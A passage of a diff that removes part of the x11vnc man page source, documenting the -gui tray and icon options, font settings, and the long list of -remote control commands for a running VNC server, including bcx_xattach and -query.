-with the gui) unless \fB-connect\fR or \fB-connect_or_exit\fR has
-been specified. So x11vnc (and the tray/icon gui)
-will wait for more connections after the first client
-disconnects. If you want only one viewer connection
-include the \fB-once\fR option.
-.IP
-For "icon" the gui just a small standalone window.
-For "tray" it will attempt to embed itself in the
-"system tray" if possible. If "=setpass" is appended then
-at startup the X11 user will be prompted to set the
-VNC session password. If =<hexnumber> is appended
-that icon will attempt to embed itself in the window
-given by hexnumber. Use =noadvanced to disable the
-full gui. (To supply more than one, use "+" sign).
-E.g. \fB-gui\fR tray=setpass and \fB-gui\fR icon=0x3600028
-.IP
-Other modes: "full", the default and need not be
-specified. "\fB-gui\fR \fInone\fR", do not show a gui, useful
-to override a ~/.x11vncrc setting, etc.
-.IP
-5) When "geom=+X+Y" is specified, that geometry
-is passed to the gui toplevel. This is the icon in
-icon/tray mode, or the full gui otherwise. You can
-also specify width and height, i.e. WxH+X+Y, but it
-is not recommended. In "tray" mode the geometry is
-ignored unless the system tray manager does not seem
-to be running. One could imagine using something like
-"\fB-gui\fR \fItray,geom=+4000+4000\fR" with a display manager
-to keep the gui invisible until someone logs in...
-.IP
-More icon tricks, "icon=minimal" gives an icon just
-with the VNC display number. You can also set the font
-with "iconfont=...". The following could be useful:
-"\fB-gui\fR \fIicon=minimal,iconfont=5x8,geom=24x10+0-0\fR"
-.IP
-General examples of the \fB-gui\fR option: "x11vnc \fB-gui",\fR
-"x11vnc \fB-gui\fR ez" "x11vnc \fB-gui\fR localhost:10",
-"x11vnc \fB-gui\fR conn,host:0", "x11vnc \fB-gui\fR tray,ez"
-"x11vnc \fB-gui\fR tray=setpass"
-.IP
-If you do not intend to start x11vnc from the gui
-(i.e. just remote control an existing one), then the
-gui process can run on a different machine from the
-x11vnc server as long as X permissions, etc. permit
-communication between the two.
-.IP
-FONTS: On some systems the tk fonts can be too small,
-jagged, or otherwise unreadable. There are 4 env vars
-you can set to be the tk font you prefer:
-.IP
-X11VNC_FONT_BOLD main font for menus and buttons.
-X11VNC_FONT_FIXED font for fixed width text.
-.IP
-X11VNC_FONT_BOLD_SMALL tray icon font.
-X11VNC_FONT_REG_SMALL tray icon menu font.
-.IP
-The last two only apply for the tray icon mode.
-.IP
-Here are some examples:
-.IP
-\fB-env\fR X11VNC_FONT_BOLD='Helvetica \fB-16\fR bold'
-\fB-env\fR X11VNC_FONT_FIXED='Courier \fB-14'\fR
-\fB-env\fR X11VNC_FONT_REG_SMALL='Helvetica \fB-12'\fR
-.IP
-You can put the lines like the above (without the
-quotes) in your ~/.x11vncrc file to avoid having to
-specify them on the x11vnc command line.
-.PP
-\fB-remote\fR \fIcommand\fR
-.IP
-Remotely control some aspects of an already running
-x11vnc server. "\fB-R\fR" and "\fB-r\fR" are aliases for
-"\fB-remote\fR". After the remote control command is
-sent to the running server the 'x11vnc \fB-remote\fR ...'
-x11vnc command exits. You can often use the \fB-query\fR
-command (see below) to see if the x11vnc server
-processed your \fB-remote\fR command.
-.IP
-The default communication channel is that of X
-properties (specifically X11VNC_REMOTE), and so this
-command must be run with correct settings for DISPLAY
-and possibly XAUTHORITY to connect to the X server
-and set the property. Alternatively, use the \fB-display\fR
-and \fB-auth\fR options to set them to the correct values.
-The running server cannot use the \fB-novncconnect\fR option
-because that disables the communication channel.
-See below for alternate channels.
-.IP
-For example: 'x11vnc \fB-remote\fR stop' (which is the same as
-\'x11vnc \fB-R\fR stop') will close down the x11vnc server.
-\'x11vnc \fB-R\fR shared' will enable shared connections, and
-\'x11vnc \fB-R\fR scale:3/4' will rescale the desktop.
-.IP
-To use a different name for the X11 property (e.g. to
-have separate communication channels for multiple
-x11vnc's on the same display) set the X11VNC_REMOTE
-environment variable to the string you want, for
-example: \fB-env\fR X11VNC_REMOTE=X11VNC_REMOTE_12345
-Both sides of the channel must use the same unique name.
-.IP
-To run a bunch of commands in a sequence use something
-like: x11vnc \fB-R\fR 'script:firstcmd;secondcmd;...'
-.IP
-Use x11vnc \fB-R\fR script:file=/path/to/file to read commands
-from a file (can be multi-line and use the comment '#'
-character in the normal way. The ';' separator must
-still be used to separate each command.)
-.IP
-To not try to contact another x11vnc process and instead
-just run the command (or query) directly, prefix the
-command with the string "DIRECT:"
-.IP
-.IP
-The following \fB-remote/-R\fR commands are supported:
-.IP
-stop terminate the server, same as "quit"
-"exit" or "shutdown".
-.IP
-ping see if the x11vnc server responds.
-return is: ans=ping:<display>
-.IP
-ping:mystring as above, but use your own unique string.
-return is: ans=ping:mystring:<xdisplay>
-.IP
-blacken try to push a black fb update to all
-clients (due to timings a client
-could miss it). Same as "zero", also
-"zero:x1,y1,x2,y2" for a rectangle.
-.IP
-refresh send the entire fb to all clients.
-.IP
-reset recreate the fb, polling memory, etc.
-.IP
-id:windowid set \fB-id\fR window to "windowid". empty
-or "root" to go back to root window
-.IP
-sid:windowid set \fB-sid\fR window to "windowid"
-.IP
-id_cmd:cmd cmds: raise, lower, map, unmap, iconify,
-move:dXdY, resize:dWdH, geom:WxH+X+Y. dX
-dY, dW, and dH must have a leading "+"
-or "-" e.g.: move:-30+10 resize:+20+35
-also: wm_delete, wm_name:string and
-icon_name:string. Also id_cmd:win=N:cmd
-.IP
-waitmapped wait until subwin is mapped.
-.IP
-nowaitmapped do not wait until subwin is mapped.
-.IP
-clip:WxH+X+Y set \fB-clip\fR mode to "WxH+X+Y"
-.IP
-flashcmap enable \fB-flashcmap\fR mode.
-.IP
-noflashcmap disable \fB-flashcmap\fR mode.
-.IP
-shiftcmap:n set \fB-shiftcmap\fR to n.
-.IP
-notruecolor enable \fB-notruecolor\fR mode.
-.IP
-truecolor disable \fB-notruecolor\fR mode.
-.IP
-overlay enable \fB-overlay\fR mode (if applicable).
-.IP
-nooverlay disable \fB-overlay\fR mode.
-.IP
-overlay_cursor in \fB-overlay\fR mode, enable cursor drawing.
-.IP
-overlay_nocursor disable cursor drawing. same as
-nooverlay_cursor.
-.IP
-8to24 enable \fB-8to24\fR mode (if applicable).
-.IP
-no8to24 disable \fB-8to24\fR mode.
-.IP
-8to24_opts:str set the \fB-8to24\fR opts to "str".
-.IP
-24to32 enable \fB-24to32\fR mode (if applicable).
-.IP
-no24to32 disable \fB-24to32\fR mode.
-.IP
-visual:vis set \fB-visual\fR to "vis"
-.IP
-scale:frac set \fB-scale\fR to "frac"
-.IP
-scale_cursor:f set \fB-scale_cursor\fR to "f"
-.IP
-viewonly enable \fB-viewonly\fR mode.
-.IP
-noviewonly disable \fB-viewonly\fR mode.
-.IP
-shared enable \fB-shared\fR mode.
-.IP
-noshared disable \fB-shared\fR mode.
-.IP
-forever enable \fB-forever\fR mode.
-.IP
-noforever disable \fB-forever\fR mode.
-.IP
-timeout:n reset \fB-timeout\fR to n, if there are
-currently no clients, exit unless one
-connects in the next n secs.
-.IP
-tightfilexfer enable filetransfer for NEW clients.
-.IP
-notightfilexfer disable filetransfer for NEW clients.
-.IP
-ultrafilexfer enable filetransfer for clients.
-.IP
-noultrafilexfer disable filetransfer for clients.
-.IP
-rfbversion:n.m set \fB-rfbversion\fR for new clients.
-.IP
-http enable http client connections.
-.IP
-nohttp disable http client connections.
-.IP
-deny deny any new connections, same as "lock"
-.IP
-nodeny allow new connections, same as "unlock"
-.IP
-avahi enable avahi service advertising.
-.IP
-noavahi disable avahi service advertising.
-.IP
-mdns enable avahi service advertising.
-.IP
-nomdns disable avahi service advertising.
-.IP
-zeroconf enable avahi service advertising.
-.IP
-nozeroconf disable avahi service advertising.
-.IP
-connect:host do reverse connection to host, "host"
-may be a comma separated list of hosts
-or host:ports. See \fB-connect.\fR Passwords
-required as with fwd connections.
-See X11VNC_REVERSE_CONNECTION_NO_AUTH=1
-.IP
-disconnect:host disconnect any clients from "host"
-same as "close:host". Use host
-"all" to close all current clients.
-If you know the client internal hex ID,
-e.g. 0x3 (returned by "\fB-query\fR \fIclients\fR"
-and RFB_CLIENT_ID) you can use that too.
-.IP
-proxy:host:port set reverse connection proxy (empty to
-disable).
-.IP
-allowonce:host For the next connection only, allow
-connection from "host". In \fB-ssl\fR mode
-two connections are allowed (i.e. Fetch
-Cert) unless X11VNC_NO_SSL_ALLOW_TWICE=1
-.IP
-allow:hostlist set \fB-allow\fR list to (comma separated)
-"hostlist". See \fB-allow\fR and \fB-localhost.\fR
-Do not use with \fB-allow\fR /path/to/file
-Use "+host" to add a single host, and
-use "\fB-host\fR" to delete a single host
-.IP
-localhost enable \fB-localhost\fR mode
-.IP
-nolocalhost disable \fB-localhost\fR mode
-.IP
-listen:str set \fB-listen\fR to str, empty to disable.
-.IP
-noipv6 enable \fB-noipv6\fR mode.
-.IP
-ipv6 disable \fB-noipv6\fR mode.
-.IP
-noipv4 enable \fB-noipv4\fR mode.
-.IP
-ipv4 disable \fB-noipv4\fR mode.
-.IP
-6 enable -6 IPv6 listening mode.
-.IP
-no6 disable -6 IPv6 listening mode.
-.IP
-lookup disable \fB-nolookup\fR mode.
-.IP
-nolookup enable \fB-nolookup\fR mode.
-.IP
-lookup disable \fB-nolookup\fR mode.
-.IP
-input:str set \fB-input\fR to "str", empty to disable.
-.IP
-grabkbd enable \fB-grabkbd\fR mode.
-.IP
-nograbkbd disable \fB-grabkbd\fR mode.
-.IP
-grabptr enable \fB-grabptr\fR mode.
-.IP
-nograbptr disable \fB-grabptr\fR mode.
-.IP
-grabalways enable \fB-grabalways\fR mode.
-.IP
-nograbalways disable \fB-grabalways\fR mode.
-.IP
-grablocal:n set \fB-grablocal\fR to n.
-.IP
-client_input:str set the K, M, B \fB-input\fR on a per-client
-basis. select which client as for
-disconnect, e.g. client_input:host:MB
-or client_input:0x2:K
-.IP
-accept:cmd set \fB-accept\fR "cmd" (empty to disable).
-.IP
-afteraccept:cmd set \fB-afteraccept\fR (empty to disable).
-.IP
-gone:cmd set \fB-gone\fR "cmd" (empty to disable).
-.IP
-noshm enable \fB-noshm\fR mode.
-.IP
-shm disable \fB-noshm\fR mode (i.e. use shm).
-.IP
-flipbyteorder enable \fB-flipbyteorder\fR mode, you may need
-to set noshm for this to do something.
-.IP
-noflipbyteorder disable \fB-flipbyteorder\fR mode.
-.IP
-onetile enable \fB-onetile\fR mode. (you may need to
-set shm for this to do something)
-.IP
-noonetile disable \fB-onetile\fR mode.
-.IP
-solid enable \fB-solid\fR mode
-.IP
-nosolid disable \fB-solid\fR mode.
-.IP
-solid_color:color set \fB-solid\fR color (and apply it).
-.IP
-blackout:str set \fB-blackout\fR "str" (empty to disable).
-See \fB-blackout\fR for the form of "str"
-(basically: WxH+X+Y,...)
-Use "+WxH+X+Y" to append a single
-rectangle use "-WxH+X+Y" to delete one
-.IP
-xinerama enable \fB-xinerama\fR mode. (if applicable)
-.IP
-noxinerama disable \fB-xinerama\fR mode.
-.IP
-xtrap enable \fB-xtrap\fR input mode(if applicable)
-.IP
-noxtrap disable \fB-xtrap\fR input mode.
-.IP
-xrandr enable \fB-xrandr\fR mode. (if applicable)
-.IP
-noxrandr disable \fB-xrandr\fR mode.
-.IP
-xrandr_mode:mode set the \fB-xrandr\fR mode to "mode".
-.IP
-rotate:mode set the \fB-rotate\fR mode to "mode".
-.IP
-padgeom:WxH set \fB-padgeom\fR to WxH (empty to disable)
-If WxH is "force" or "do" the padded
-geometry fb is immediately applied.
-.IP
-quiet enable \fB-quiet\fR mode.
-.IP
-noquiet disable \fB-quiet\fR mode.
-.IP
-modtweak enable \fB-modtweak\fR mode.
-.IP
-nomodtweak enable \fB-nomodtweak\fR mode.
-.IP
-xkb enable \fB-xkb\fR modtweak mode.
-.IP
-noxkb disable \fB-xkb\fR modtweak mode.
-.IP
-capslock enable \fB-capslock\fR mode.
-.IP
-nocapslock disable \fB-capslock\fR mode.
-.IP
-skip_lockkeys enable \fB-skip_lockkeys\fR mode.
-.IP
-noskip_lockkeys disable \fB-skip_lockkeys\fR mode.
-.IP
-skip_keycodes:str enable \fB-xkb\fR \fB-skip_keycodes\fR "str".
-.IP
-sloppy_keys enable \fB-sloppy_keys\fR mode.
-.IP
-nosloppy_keys disable \fB-sloppy_keys\fR mode.
-.IP
-skip_dups enable \fB-skip_dups\fR mode.
-.IP
-noskip_dups disable \fB-skip_dups\fR mode.
-.IP
-add_keysyms enable \fB-add_keysyms\fR mode.
-.IP
-noadd_keysyms stop adding keysyms. those added will
-still be removed at exit.
-.IP
-clear_mods enable \fB-clear_mods\fR mode and clear them.
-.IP
-noclear_mods disable \fB-clear_mods\fR mode.
-.IP
-clear_keys enable \fB-clear_keys\fR mode and clear them.
-.IP
-noclear_keys disable \fB-clear_keys\fR mode.
-.IP
-clear_locks do the clear_locks action.
-.IP
-clear_all do the clear_all action.
-.IP
-keystate have x11vnc print current keystate.
-.IP
-remap:str set \fB-remap\fR "str" (empty to disable).
-See \fB-remap\fR for the form of "str"
-(basically: key1-key2,key3-key4,...)
-Use "+key1-key2" to append a single
-keymapping, use "-key1-key2" to delete.
-.IP
-norepeat enable \fB-norepeat\fR mode.
-.IP
-repeat disable \fB-norepeat\fR mode.
-.IP
-nofb enable \fB-nofb\fR mode.
-.IP
-fb disable \fB-nofb\fR mode.
-.IP
-bell enable bell (if supported).
-.IP
-nobell disable bell.
-.IP
-sendbell ring the bell now.
-.IP
-nosel enable \fB-nosel\fR mode.
-.IP
-sel disable \fB-nosel\fR mode.
-.IP
-noprimary enable \fB-noprimary\fR mode.
-.IP
-primary disable \fB-noprimary\fR mode.
-.IP
-nosetprimary enable \fB-nosetprimary\fR mode.
-.IP
-setprimary disable \fB-nosetprimary\fR mode.
-.IP
-noclipboard enable \fB-noclipboard\fR mode.
-.IP
-clipboard disable \fB-noclipboard\fR mode.
-.IP
-nosetclipboard enable \fB-nosetclipboard\fR mode.
-.IP
-setclipboard disable \fB-nosetclipboard\fR mode.
-.IP
-seldir:str set \fB-seldir\fR to "str"
-.IP
-resend_cutbuffer resend the most recent CUTBUFFER0 copy
-.IP
-resend_clipboard resend the most recent CLIPBOARD copy
-.IP
-resend_primary resend the most recent PRIMARY copy
-.IP
-cursor:mode enable \fB-cursor\fR "mode".
-.IP
-show_cursor enable showing a cursor.
-.IP
-noshow_cursor disable showing a cursor. (same as
-"nocursor")
-.IP
-cursor_drag enable cursor changes during drag.
-.IP
-nocursor_drag disable cursor changes during drag.
-.IP
-arrow:n set \fB-arrow\fR to alternate n.
-.IP
-xfixes enable xfixes cursor shape mode.
-.IP
-noxfixes disable xfixes cursor shape mode.
-.IP
-alphacut:n set \fB-alphacut\fR to n.
-.IP
-alphafrac:f set \fB-alphafrac\fR to f.
-.IP
-alpharemove enable \fB-alpharemove\fR mode.
-.IP
-noalpharemove disable \fB-alpharemove\fR mode.
-.IP
-alphablend disable \fB-noalphablend\fR mode.
-.IP
-noalphablend enable \fB-noalphablend\fR mode.
-.IP
-cursorshape disable \fB-nocursorshape\fR mode.
-.IP
-nocursorshape enable \fB-nocursorshape\fR mode.
-.IP
-cursorpos disable \fB-nocursorpos\fR mode.
-.IP
-nocursorpos enable \fB-nocursorpos\fR mode.
-.IP
-xwarp enable \fB-xwarppointer\fR mode.
-.IP
-noxwarp disable \fB-xwarppointer\fR mode.
-.IP
-always_inject enable \fB-always_inject\fR mode.
-.IP
-noalways_inject disable \fB-always_inject\fR mode.
-.IP
-buttonmap:str set \fB-buttonmap\fR "str", empty to disable
-.IP
-dragging disable \fB-nodragging\fR mode.
-.IP
-nodragging enable \fB-nodragging\fR mode.
-.IP
-ncache reenable \fB-ncache\fR mode.
-.IP
-noncache disable \fB-ncache\fR mode.
-.IP
-ncache_size:n set \fB-ncache\fR size to n.
-.IP
-ncache_cr enable \fB-ncache_cr\fR mode.
-.IP
-noncache_cr disable \fB-ncache_cr\fR mode.
-.IP
-ncache_no_moveraise enable no_moveraise mode.
-.IP
-noncache_no_moveraise disable no_moveraise mode.
-.IP
-ncache_no_dtchange enable ncache_no_dtchange mode.
-.IP
-noncache_no_dtchange disable ncache_no_dtchange mode.
-.IP
-ncache_old_wm enable ncache_old_wm mode.
-.IP
-noncache_old_wm disable ncache_old_wm mode.
-.IP
-ncache_no_rootpixmap enable ncache_no_rootpixmap.
-.IP
-noncache_no_rootpixmap disable ncache_no_rootpixmap.
-.IP
-ncache_reset_rootpixmap recheck the root pixmap, ncrp
-.IP
-ncache_keep_anims enable ncache_keep_anims.
-.IP
-noncache_keep_anims disable ncache_keep_anims.
-.IP
-ncache_pad:n set \fB-ncache_pad\fR to n.
-.IP
-wireframe enable \fB-wireframe\fR mode. same as "wf"
-.IP
-nowireframe disable \fB-wireframe\fR mode. same as "nowf"
-.IP
-wireframe:str enable \fB-wireframe\fR mode string.
-.IP
-wireframe_mode:str enable \fB-wireframe\fR mode string.
-.IP
-wireframelocal enable wireframelocal. same as "wfl"
-.IP
-nowireframe disable wireframelocal. same as "nowfl"
-.IP
-wirecopyrect:str set \fB-wirecopyrect\fR string. same as "wcr:"
-.IP
-scrollcopyrect:str set \fB-scrollcopyrect\fR string. same "scr"
-.IP
-noscrollcopyrect disable \fB-scrollcopyrect__mode_.\fR "noscr"
-.IP
-scr_area:n set \fB-scr_area\fR to n
-.IP
-scr_skip:list set \fB-scr_skip\fR to "list"
-.IP
-scr_inc:list set \fB-scr_inc\fR to "list"
-.IP
-scr_keys:list set \fB-scr_keys\fR to "list"
-.IP
-scr_term:list set \fB-scr_term\fR to "list"
-.IP
-scr_keyrepeat:str set \fB-scr_keyrepeat\fR to "str"
-.IP
-scr_parms:str set \fB-scr_parms\fR parameters.
-.IP
-fixscreen:str set \fB-fixscreen\fR to "str".
-.IP
-noxrecord disable all use of RECORD extension.
-.IP
-xrecord enable use of RECORD extension.
-.IP
-reset_record reset RECORD extension (if avail.)
-.IP
-pointer_mode:n set \fB-pointer_mode\fR to n. same as "pm"
-.IP
-input_skip:n set \fB-input_skip\fR to n.
-.IP
-allinput enable use of \fB-allinput\fR mode.
-.IP
-noallinput disable use of \fB-allinput\fR mode.
-.IP
-input_eagerly enable use of \fB-input_eagerly\fR mode.
-.IP
-noinput_eagerly disable use of \fB-input_eagerly\fR mode.
-.IP
-ssltimeout:n set \fB-ssltimeout\fR to n.
-.IP
-speeds:str set \fB-speeds\fR to str.
-.IP
-wmdt:str set \fB-wmdt\fR to str.
-.IP
-debug_pointer enable \fB-debug_pointer,\fR same as "dp"
-.IP
-nodebug_pointer disable \fB-debug_pointer,\fR same as "nodp"
-.IP
-debug_keyboard enable \fB-debug_keyboard,\fR same as "dk"
-.IP
-nodebug_keyboard disable \fB-debug_keyboard,\fR same as "nodk"
-.IP
-keycode:n inject keystroke 'keycode' (xmodmap \fB-pk)\fR
-.IP
-keycode:n,down inject 'keycode' (down=0,1)
-.IP
-keysym:str inject keystroke 'keysym' (number/name)
-.IP
-keysym:str,down inject 'keysym' (down=0,1)
-.IP
-ptr:x,y,mask inject pointer event x, y, button-mask
-.IP
-fakebuttonevent:button,down direct XTestFakeButtonEvent.
-.IP
-sleep:t sleep floating point time t.
-.IP
-get_xprop:p get X property named 'p'.
-.IP
-set_xprop:p:val set X property named 'p' to 'val'.
-p -> id=NNN:p for hex/dec window id.
-.IP
-wininfo:id get info about X window id. use 'root'
-for root window, use +id for children.
-.IP
-grab_state get state of pointer and keyboard grab.
-.IP
-pointer_pos print XQueryPointer x,y cursor position.
-.IP
-pointer_x print XQueryPointer x cursor position.
-.IP
-pointer_y print XQueryPointer y cursor position.
-.IP
-pointer_same print XQueryPointer ptr on same screen.
-.IP
-pointer_root print XQueryPointer curr ptr rootwin.
-.IP
-pointer_mask print XQueryPointer button and mods mask
-.IP
-mouse_x print x11vnc's idea of cursor position.
-.IP
-mouse_y print x11vnc's idea of cursor position.
-.IP
-noop do nothing.
-.IP
-defer:n set \fB-defer\fR to n ms,same as deferupdate:n
-.IP
-wait:n set \fB-wait\fR to n ms.
-.IP
-extra_fbur:n set \fB-extra_fbur\fR to n.
-.IP
-wait_ui:f set \fB-wait_ui\fR factor to f.
-.IP
-setdefer:n set \fB-setdefer\fR to \fB-2,-1,0,1,\fR or 2.
-.IP
-wait_bog disable \fB-nowait_bog\fR mode.
-.IP
-nowait_bog enable \fB-nowait_bog\fR mode.
-.IP
-slow_fb:f set \fB-slow_fb\fR to f seconds.
-.IP
-xrefresh:f set \fB-xrefresh\fR to f seconds.
-.IP
-readtimeout:n set read timeout to n seconds.
-.IP
-nap enable \fB-nap\fR mode.
-.IP
-nonap disable \fB-nap\fR mode.
-.IP
-sb:n set \fB-sb\fR to n s, same as screen_blank:n
-.IP
-fbpm disable \fB-nofbpm\fR mode.
-.IP
-nofbpm enable \fB-nofbpm\fR mode.
-.IP
-dpms disable \fB-nodpms\fR mode.
-.IP
-nodpms enable \fB-nodpms\fR mode.
-.IP
-forcedpms enable \fB-forcedpms\fR mode.
-.IP
-noforcedpms disable \fB-forcedpms\fR mode.
-.IP
-clientdpms enable \fB-clientdpms\fR mode.
-.IP
-noclientdpms disable \fB-clientdpms\fR mode.
-.IP
-noserverdpms enable \fB-noserverdpms\fR mode.
-.IP
-serverdpms disable \fB-noserverdpms\fR mode.
-.IP
-noultraext enable \fB-noultraext\fR mode.
-.IP
-ultraext disable \fB-noultraext\fR mode.
-.IP
-chatwindow enable local chatwindow mode.
-.IP
-nochatwindow disable local chatwindow mode.
-.IP
-chaton begin chat using local window.
-.IP
-chatoff end chat using local window.
-.IP
-xdamage enable xdamage polling hints.
-.IP
-noxdamage disable xdamage polling hints.
-.IP
-xd_area:A set \fB-xd_area\fR max pixel area to "A"
-.IP
-xd_mem:f set \fB-xd_mem\fR remembrance to "f"
-.IP
-fs:frac set \fB-fs\fR fraction to "frac", e.g. 0.5
-.IP
-gaps:n set \fB-gaps\fR to n.
-.IP
-grow:n set \fB-grow\fR to n.
-.IP
-fuzz:n set \fB-fuzz\fR to n.
-.IP
-snapfb enable \fB-snapfb\fR mode.
-.IP
-nosnapfb disable \fB-snapfb\fR mode.
-.IP
-rawfb:str set \fB-rawfb\fR mode to "str".
-.IP
-uinput_accel:f set uinput_accel to f.
-.IP
-uinput_thresh:n set uinput_thresh to n.
-.IP
-uinput_reset:n set uinput_reset to n ms.
-.IP
-uinput_always:n set uinput_always to 1/0.
-.IP
-progressive:n set LibVNCServer \fB-progressive\fR slice
-height parameter to n.
-.IP
-desktop:str set \fB-desktop\fR name to str for new clients.
-.IP
-rfbport:n set \fB-rfbport\fR to n.
-.IP
-macnosaver enable \fB-macnosaver\fR mode.
-.IP
-macsaver disable \fB-macnosaver\fR mode.
-.IP
-macnowait enable \fB-macnowait\fR mode.
-.IP
-macwait disable \fB-macnowait\fR mode.
-.IP
-macwheel:n set \fB-macwheel\fR to n.
-.IP
-macnoswap enable \fB-macnoswap\fR mouse button mode.
-.IP
-macswap disable \fB-macnoswap\fR mouse button mode.
-.IP
-macnoresize enable \fB-macnoresize\fR mode.
-.IP
-macresize disable \fB-macnoresize\fR mode.
-.IP
-maciconanim:n set \fB-maciconanim\fR to n.
-.IP
-macmenu enable \fB-macmenu\fR mode.
-.IP
-macnomenu disable \fB-macmenu\fR mode.
-.IP
-macuskbd enable \fB-macuskbd\fR mode.
-.IP
-macnouskbd disable \fB-macuskbd\fR mode.
-.IP
-httpport:n set \fB-httpport\fR to n.
-.IP
-httpdir:dir set \fB-httpdir\fR to dir (and enable http).
-.IP
-enablehttpproxy enable \fB-enablehttpproxy\fR mode.
-.IP
-noenablehttpproxy disable \fB-enablehttpproxy\fR mode.
-.IP
-alwaysshared enable \fB-alwaysshared\fR mode.
-.IP
-noalwaysshared disable \fB-alwaysshared\fR mode.
-(may interfere with other options)
-.IP
-nevershared enable \fB-nevershared\fR mode.
-.IP
-nonevershared disable \fB-nevershared\fR mode.
-(may interfere with other options)
-.IP
-dontdisconnect enable \fB-dontdisconnect\fR mode.
-.IP
-nodontdisconnect disable \fB-dontdisconnect\fR mode.
-(may interfere with other options)
-.IP
-debug_xevents enable debugging X events.
-.IP
-nodebug_xevents disable debugging X events.
-.IP
-debug_xdamage enable debugging X DAMAGE mechanism.
-.IP
-nodebug_xdamage disable debugging X DAMAGE mechanism.
-.IP
-debug_wireframe enable debugging wireframe mechanism.
-.IP
-nodebug_wireframe disable debugging wireframe mechanism.
-.IP
-debug_scroll enable debugging scrollcopy mechanism.
-.IP
-nodebug_scroll disable debugging scrollcopy mechanism.
-.IP
-debug_tiles enable \fB-debug_tiles\fR
-.IP
-nodebug_tiles disable \fB-debug_tiles\fR
-.IP
-debug_grabs enable \fB-debug_grabs\fR
-.IP
-nodebug_grabs disable \fB-debug_grabs\fR
-.IP
-debug_sel enable \fB-debug_sel\fR
-.IP
-nodebug_sel disable \fB-debug_sel\fR
-.IP
-debug_ncache enable \fB-debug_ncache\fR
-.IP
-nodebug_ncache disable \fB-debug_ncache\fR
-.IP
-dbg enable \fB-dbg\fR crash shell
-.IP
-nodbg disable \fB-dbg\fR crash shell
-.IP
-.IP
-noremote disable the \fB-remote\fR command processing,
-it cannot be turned back on.
-.IP
-.IP
-bcx_xattach:str This remote control command is for
-use with the BARCO xattach program or the x2x program.
-Both of these programs are for 'pointer and keyboard'
-sharing between separate X displays. In general the
-two displays are usually nearby, e.g. on the same desk,
-and this allows the user to share a single pointer and
-keyboard between them. The user moves the mouse to
-an edge and then the mouse pointer appears to 'jump'
-to the other display screen. Thus it emulates what a
-single X server would do for two screens (e.g. :0.0 and
-:0.1) The illusion of a single Xserver with multiple
-screens is achieved by forwarding events to the 2nd
-one via the XTEST extension.
-.IP
-What the x11vnc bcx_xattach command does is to perform
-some pointer movements to try to INDUCE xattach/x2x
-to 'jump' to the other display. In what follows the
-\'master' display refers to the one that when it has
-\'focus' it is basically doing nothing besides watching
-for the mouse to go over an edge. The 'slave'
-display refers to the one to which the mouse and
-keyboard is redirected to once an edge in the master
-has been crossed. Note that the x11vnc executing the
-bcx_xattach command MUST be the one connected to the
-*master* display.
-.IP
-Also note that when input is being redirected (via
-XTEST) from the master display to the slave display,
-the master display's pointer and keyboard are *grabbed*
-by xattach/x2x. x11vnc can use this info to verify that
-the master/slave mode change has taken place correctly.
-If you specify the "ifneeded" option (see below)
-and the initial grab state is that of the desired
-final state, then no pointer movements are injected
-and "DONE,GRAB_OK" is returned.
-.IP
-"str" must contain one of "up", "down", "left",
-or "right" to indicate the direction of the 'jump'.
-"str" must also contain one of "master_to_slave"
-or "slave_to_master" to indicate the type of mode
-change induced by the jump. Use "M2S" and "S2M"
-as shorter aliases.
-.IP
-"str" may be a "+" separated list of additional
-tuning options. The "shift=n" option indicates an
-offset shift position away from (0,0) (default 20).
-"final=x+y" specifies the final position of the cursor
-at the end of the normal move sequence; default 30+30.
-"extra_move=x+y" means to do one more pointer move
-after "final" to x+y. "dt=n" sets the sleep time
-in milliseconds between pointer moves (default: 40ms)
-"retry=n" specifies the maximum number of retries if
-the grab state change fails. "ifneeded" means to not
-apply the pointer movements if the initial grab state is
-that of the desired final state. "nograbcheck" means
-to not check if the grab state changed as expected and
-only apply the pointer movements (default is to check
-the grab states.)
-.IP
-If you do not specify "up", etc., to bcx_xattach
-nothing will be attempted and the command returns
-the string FAIL,NO_DIRECTION_SPECIFIED. If you do
-not specify "master_to_slave" or "M2S", etc., to
-bcx_xattach nothing will be attempted and the command
-returns the string FAIL,NO_MODE_CHANGE_SPECIFIED.
-.IP
-Otherwise, the returned string will contain "DONE".
-It will be "DONE,GRAB_OK" if the grab state changed
-as expected (or if "ifneeded" was supplied and
-the initial grab state was already the desired
-one.) If the initial grab state was incorrect,
-but the final grab state was correct then it is
-"DONE,GRAB_FAIL_INIT". If the initial grab state
-was correct, but the final grab state was incorrect
-then it is "DONE,GRAB_FAIL_FINAL". If both are
-incorrect it will be "DONE,GRAB_FAIL". Under grab
-failure the string will be followed by ":p1,k1-p2,k2"
-where p1,k1 indicates the initial pointer and keyboard
-grab states and p2,k2 the final ones. If GRAB_FAIL or
-GRAB_FAIL_FINAL occurs, the action will be retried up
-to 3 times; trying to reset the state and sleeping a
-bit between each try. Set retry=n to adjust the number
-of retries, zero to disable retries.
-.IP
-Examples:
-\fB-R\fR bcx_xattach:down+M2S
-\fB-R\fR bcx_xattach:up+S2M
-\fB-R\fR bcx_xattach:up+S2M+nograbcheck+dt=30
-\fB-R\fR bcx_xattach:down+M2S+extra_move=100+100
-.IP
-or use \fB-Q\fR instead of \fB-R\fR to retrieve the result text.
-.IP
-End of the bcx_xattach:str description.
-.IP
-The
-.IR vncconnect (1)
-command from standard VNC
-distributions may also be used if string is prefixed
-with "cmd=" E.g. 'vncconnect cmd=stop'. Under some
-circumstances
-.IR xprop (1)
-can used if it supports \fB-set\fR
-(see the FAQ).
-.IP
-If "\fB-connect\fR \fI/path/to/file\fR" has been supplied to the
-running x11vnc server then that file can be used as a
-communication channel (this is the only way to remote
-control one of many x11vnc's polling the same X display)
-Simply run: 'x11vnc \fB-connect\fR /path/to/file \fB-remote\fR ...'
-or you can directly write to the file via something
-like: "echo cmd=stop > /path/to/file", etc.
-.PP
-\fB-query\fR \fIvariable\fR
-.IP
-Like \fB-remote,\fR except just query the value of
-\fIvariable\fR. "\fB-Q\fR" is an alias for "\fB-query\fR".
-Multiple queries can be done by separating variables
-by commas, e.g. \fB-query\fR var1,var2. The results come
-back in the form ans=var1:value1,ans=var2:value2,...
-to the standard output. If a variable is read-only,
-it comes back with prefix "aro=" instead of "ans=".
-.IP
-Some \fB-remote\fR commands are pure actions that do not make
-sense as variables, e.g. "stop" or "disconnect", in
-these cases the value returned is "N/A". To direct a
-query straight to the X11VNC_REMOTE property or connect
-file use "qry=..." instead of "cmd=..."
-.IP
-ans= stop quit exit shutdown ping resend_cutbuffer
-resend_clipboard resend_primary blacken zero refresh
-reset close disconnect id_cmd id sid waitmapped
